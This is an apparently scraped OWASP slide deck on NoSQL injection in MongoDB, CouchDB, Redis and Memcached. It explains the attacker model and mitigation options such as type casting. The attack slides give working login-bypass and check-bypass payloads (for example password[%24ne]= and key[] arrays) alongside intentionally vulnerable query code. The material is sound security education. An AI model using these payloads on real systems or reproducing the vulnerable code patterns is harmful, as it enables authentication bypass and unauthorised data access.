29
1 NOSQL INJECTION FUN WITH OBJECTS AND ARRAYS Patrick Spiegel

NOSQL INJECTION - OWASP · SCOPE - DATABASES Database Type Ranking Document store 5. Key-value store 9. Key-value cache 23. Document store 26. 4 . 3 SCOPE - DATABASES. 4 . 4 SCOPE

  • Upload
    others

  • View
    11

  • Download
    0

Embed Size (px)

Citation preview

Page 1: NOSQL INJECTION - OWASP · SCOPE - DATABASES Database Type Ranking Document store 5. Key-value store 9. Key-value cache 23. Document store 26. 4 . 3 SCOPE - DATABASES. 4 . 4 SCOPE

1

NOSQL INJECTIONFUN WITH OBJECTS AND ARRAYS

Patrick Spiegel

Page 2: NOSQL INJECTION - OWASP · SCOPE - DATABASES Database Type Ranking Document store 5. Key-value store 9. Key-value cache 23. Document store 26. 4 . 3 SCOPE - DATABASES. 4 . 4 SCOPE

2

MOTIVATION

... with MongoDB we are not building queriesfrom strings, so traditional SQL injection attacks

are not a problem.

- MongoDB Developer FAQ

Page 3: NOSQL INJECTION - OWASP · SCOPE - DATABASES Database Type Ranking Document store 5. Key-value store 9. Key-value cache 23. Document store 26. 4 . 3 SCOPE - DATABASES. 4 . 4 SCOPE

3

 

AGENDA

 Scope

 Attacker Model

 Attacks

 Mitigation

Page 4: NOSQL INJECTION - OWASP · SCOPE - DATABASES Database Type Ranking Document store 5. Key-value store 9. Key-value cache 23. Document store 26. 4 . 3 SCOPE - DATABASES. 4 . 4 SCOPE

4 . 1

SCOPE

Page 5: NOSQL INJECTION - OWASP · SCOPE - DATABASES Database Type Ranking Document store 5. Key-value store 9. Key-value cache 23. Document store 26. 4 . 3 SCOPE - DATABASES. 4 . 4 SCOPE

4 . 2

SCOPE - DATABASES

Database Type Ranking

Document store 5.

Key-value store 9.

Key-value cache 23.

Document store 26.

Page 6: NOSQL INJECTION - OWASP · SCOPE - DATABASES Database Type Ranking Document store 5. Key-value store 9. Key-value cache 23. Document store 26. 4 . 3 SCOPE - DATABASES. 4 . 4 SCOPE

4 . 3

SCOPE - DATABASES

Page 7: NOSQL INJECTION - OWASP · SCOPE - DATABASES Database Type Ranking Document store 5. Key-value store 9. Key-value cache 23. Document store 26. 4 . 3 SCOPE - DATABASES. 4 . 4 SCOPE

4 . 4

 

   

SCOPE - TECHNOLOGY STACKWhat do we have to consider for NoSQL Injection?

DATABASES

      DATABASE DRIVERS

APPLICATION SERVERS

      

FRAMEWORKS

~ 64 TECHNOLOGY STACKS

Page 8: NOSQL INJECTION - OWASP · SCOPE - DATABASES Database Type Ranking Document store 5. Key-value store 9. Key-value cache 23. Document store 26. 4 . 3 SCOPE - DATABASES. 4 . 4 SCOPE

5 . 1

ATTACKER MODEL

Page 9: NOSQL INJECTION - OWASP · SCOPE - DATABASES Database Type Ranking Document store 5. Key-value store 9. Key-value cache 23. Document store 26. 4 . 3 SCOPE - DATABASES. 4 . 4 SCOPE

5 . 2

ATTACKER MODEL - MIGHTINESS

The attacker is aware of the deployed  technology stack  including application server,

driver, frameworks and database.

The attacker is able to send  arbitrary requests  tothe server with the authorization of a normal

application user.

Page 10: NOSQL INJECTION - OWASP · SCOPE - DATABASES Database Type Ranking Document store 5. Key-value store 9. Key-value cache 23. Document store 26. 4 . 3 SCOPE - DATABASES. 4 . 4 SCOPE

5 . 3

ATTACKER MODEL - GOAL

The attacker's goal is to achieve  unintended behavior  of the database query by

altering query  parameters.

The attacker is able to trigger unintended  CRUD operations .

Page 11: NOSQL INJECTION - OWASP · SCOPE - DATABASES Database Type Ranking Document store 5. Key-value store 9. Key-value cache 23. Document store 26. 4 . 3 SCOPE - DATABASES. 4 . 4 SCOPE

5 . 4

ATTACKER MODEL - OVERVIEW

Page 12: NOSQL INJECTION - OWASP · SCOPE - DATABASES Database Type Ranking Document store 5. Key-value store 9. Key-value cache 23. Document store 26. 4 . 3 SCOPE - DATABASES. 4 . 4 SCOPE

5 . 5

NOSQL INJECTION ATTACKER

SQL Attacker Model  

 Query languages for unstructured data 

 Diverse system landscapes with multipledatabases 

 Direct client-side database access via RESTfullinterfaces

Page 13: NOSQL INJECTION - OWASP · SCOPE - DATABASES Database Type Ranking Document store 5. Key-value store 9. Key-value cache 23. Document store 26. 4 . 3 SCOPE - DATABASES. 4 . 4 SCOPE

6 . 1

INJECTION ATTACKS

Page 14: NOSQL INJECTION - OWASP · SCOPE - DATABASES Database Type Ranking Document store 5. Key-value store 9. Key-value cache 23. Document store 26. 4 . 3 SCOPE - DATABASES. 4 . 4 SCOPE

6 . 2

WHAT'S ALREADY KNOWN?

Login bypass for MongoDB on PHP and NodeJS 

String concatenation is still an issue for JSON andscript parameters 

Escaping flaws of drivers e.g. Memcached Got fixed!

Page 15: NOSQL INJECTION - OWASP · SCOPE - DATABASES Database Type Ranking Document store 5. Key-value store 9. Key-value cache 23. Document store 26. 4 . 3 SCOPE - DATABASES. 4 . 4 SCOPE

6 . 3

 

MONGODB - LOGIN BYPASS// NodeJS with Express.js db.collection('users').find({ "user": req.query.user, "password": req.query.password });

https://example.org/login?user=patrick&password=1234

https://example.org/login?user=patrick&password[%24ne]=

// NodeJS with Express.js db.collection('users').find({ "user": "patrick", "password": {"&ne": ""} });

Page 16: NOSQL INJECTION - OWASP · SCOPE - DATABASES Database Type Ranking Document store 5. Key-value store 9. Key-value cache 23. Document store 26. 4 . 3 SCOPE - DATABASES. 4 . 4 SCOPE

6 . 4

MONGODB - LOGIN BYPASS// PHP $collection->find(array( 'user' => $_GET['user'], 'password' => $_GET['password'] ));

 What's even new?

# Ruby on Rails db['users'].find({ :user => req.params['user'], :password => req.params['password'] })

# Python with Django db.users.find({ "user": request.GET['user'], "password": request.GET['password']})

Page 17: NOSQL INJECTION - OWASP · SCOPE - DATABASES Database Type Ranking Document store 5. Key-value store 9. Key-value cache 23. Document store 26. 4 . 3 SCOPE - DATABASES. 4 . 4 SCOPE

6 . 5

MONGODB - LOGIN BYPASS

... also works for POST requests!

POST /login HTTP/1.1 Host: example.org Content-Type: application/json Content-Length: 38

{'user': 'patrick', 'password': {'&gt': ''}}

POST /login HTTP/1.1 Host: example.org Content-Type: application/x-www-form-urlencoded Content-Length: 29

user=Patrick&password[%24ne]=

Page 18: NOSQL INJECTION - OWASP · SCOPE - DATABASES Database Type Ranking Document store 5. Key-value store 9. Key-value cache 23. Document store 26. 4 . 3 SCOPE - DATABASES. 4 . 4 SCOPE

6 . 6

REDIS - PARAMETER OVERWRITE INJECTION

... just a key-value store - what's the worst that could happen?

// NodeJS with Express.js RedisClient.expireat( req.query.key, new Date("November 8, 2026 11:13:00").getTime() );

.../expire?key[]=foo&key[]=1117542887

Injected array overwrites all following parametersof each database function!

Only NodeJS driver affected!

Page 19: NOSQL INJECTION - OWASP · SCOPE - DATABASES Database Type Ranking Document store 5. Key-value store 9. Key-value cache 23. Document store 26. 4 . 3 SCOPE - DATABASES. 4 . 4 SCOPE

6 . 7

COUCHDB - LOGIN BYPASS// NodeJS with Express.js function checkCredentials(user, password, callback) { var options = {'selector': {'user': user, 'password': password}}; couch.use('users').get('_find', options, (err, res) => { callback(res.docs.length === 1); });

checkCredentials(req.query.user, req.query.password, handleResult);

login?user=patrick&password[%24ne]=

Inject query selector to bypass password check!

Page 20: NOSQL INJECTION - OWASP · SCOPE - DATABASES Database Type Ranking Document store 5. Key-value store 9. Key-value cache 23. Document store 26. 4 . 3 SCOPE - DATABASES. 4 . 4 SCOPE

6 . 8

COUCHDB - LOGIN BYPASS

... then let's check the password within the application layer!

// NodeJS with Express.js function checkCredentials(user, password, callback) { nano.use('users').get(user, (err, res)=> { callback(res.password === paasword); }); }

checkUser(req.query.user, req.query.password, handleResult);

https://example.org/login?user=_all_docs

Use special _all_docs document with undefinedpassword property!

Page 21: NOSQL INJECTION - OWASP · SCOPE - DATABASES Database Type Ranking Document store 5. Key-value store 9. Key-value cache 23. Document store 26. 4 . 3 SCOPE - DATABASES. 4 . 4 SCOPE

6 . 9

COUCHDB - CHECK BYPASS

Hmm ... then let's check the properties!

// NodeJS with Express.js function getDocument(key, callback) { if (key === "secretDoc" || key[0] === "_") { callback("Not authorized!"); } else { couch.use('documents').get(key, callback); } }

getDocument(req.query.key);

https://example.org/get?user[]=secretDoc

https://example.org/get?user[]=_all_docs

Page 22: NOSQL INJECTION - OWASP · SCOPE - DATABASES Database Type Ranking Document store 5. Key-value store 9. Key-value cache 23. Document store 26. 4 . 3 SCOPE - DATABASES. 4 . 4 SCOPE

6 . 10

MEMCACHED - ARRAY INJECTIONfunction getCache(key) { if (key.indexOf('auth_') === 0){ callback("Invalid key!"); } else { memcached.get(key, (err, body)=>{ callback(err || body); }); } }

getCache(req.query.key, handleResult);

https://example.org?/getCache?key[]=auth_patrick

Array injection bypasses application layer checks!

Page 23: NOSQL INJECTION - OWASP · SCOPE - DATABASES Database Type Ranking Document store 5. Key-value store 9. Key-value cache 23. Document store 26. 4 . 3 SCOPE - DATABASES. 4 . 4 SCOPE

6 . 11

ATTACK SUMMARY

All attacks shown with GET requests also workwith POST and PUT requests!

Nearly all attacks work on NodeJS, PHP, Ruby andPython in combination with certain frameworks!

Object and array injection changes semantics andis key for attacks!

Page 24: NOSQL INJECTION - OWASP · SCOPE - DATABASES Database Type Ranking Document store 5. Key-value store 9. Key-value cache 23. Document store 26. 4 . 3 SCOPE - DATABASES. 4 . 4 SCOPE

7 . 1

MITIGATION

Page 25: NOSQL INJECTION - OWASP · SCOPE - DATABASES Database Type Ranking Document store 5. Key-value store 9. Key-value cache 23. Document store 26. 4 . 3 SCOPE - DATABASES. 4 . 4 SCOPE

7 . 2

WHAT'S THE PROBLEM?The queries' semantic is encoded in the  object  or

type structure  of passed parameters. 

{'password': '1234'} vs {'password': {'&ne': '1'}} 

Page 26: NOSQL INJECTION - OWASP · SCOPE - DATABASES Database Type Ranking Document store 5. Key-value store 9. Key-value cache 23. Document store 26. 4 . 3 SCOPE - DATABASES. 4 . 4 SCOPE

7 . 3

 

IS TYPE CASTING A SOLUTION?

{'password': req.param.password.toString()}

 Secure against type manipulation

 Not flexible enough for unstructured data

 Easy to forget in practice ...

Page 27: NOSQL INJECTION - OWASP · SCOPE - DATABASES Database Type Ranking Document store 5. Key-value store 9. Key-value cache 23. Document store 26. 4 . 3 SCOPE - DATABASES. 4 . 4 SCOPE

7 . 4

IS DYNAMIC CODE ANALYSIS ASOLUTION?

{user: 'Patrick', address: {city: 'Karlsruhe', code:76133}}

Reduces user-controlled data to string andinteger values

Application-controlled structure

Page 28: NOSQL INJECTION - OWASP · SCOPE - DATABASES Database Type Ranking Document store 5. Key-value store 9. Key-value cache 23. Document store 26. 4 . 3 SCOPE - DATABASES. 4 . 4 SCOPE

7 . 5

DYNAMIC CODE ANALYSISDATA VARIETY?

if (obj.user && obj.address) { collection.insert({user: obj.user, address: obj.address}); } else if (obj.user && obj.phone) { collection.insert({user: obj.user, phone: obj.phone}); } else if ...

 Secure for structure manipulation

 Impractical for many different propertycombinations!

Page 29: NOSQL INJECTION - OWASP · SCOPE - DATABASES Database Type Ranking Document store 5. Key-value store 9. Key-value cache 23. Document store 26. 4 . 3 SCOPE - DATABASES. 4 . 4 SCOPE

7 . 6

IS DYNAMIC CODE ANALYSIS ASOLUTION?

IMHO

NO

Breaks existing implementations Extensive  code adjustments  necessary

Hard to handle  data variety  securely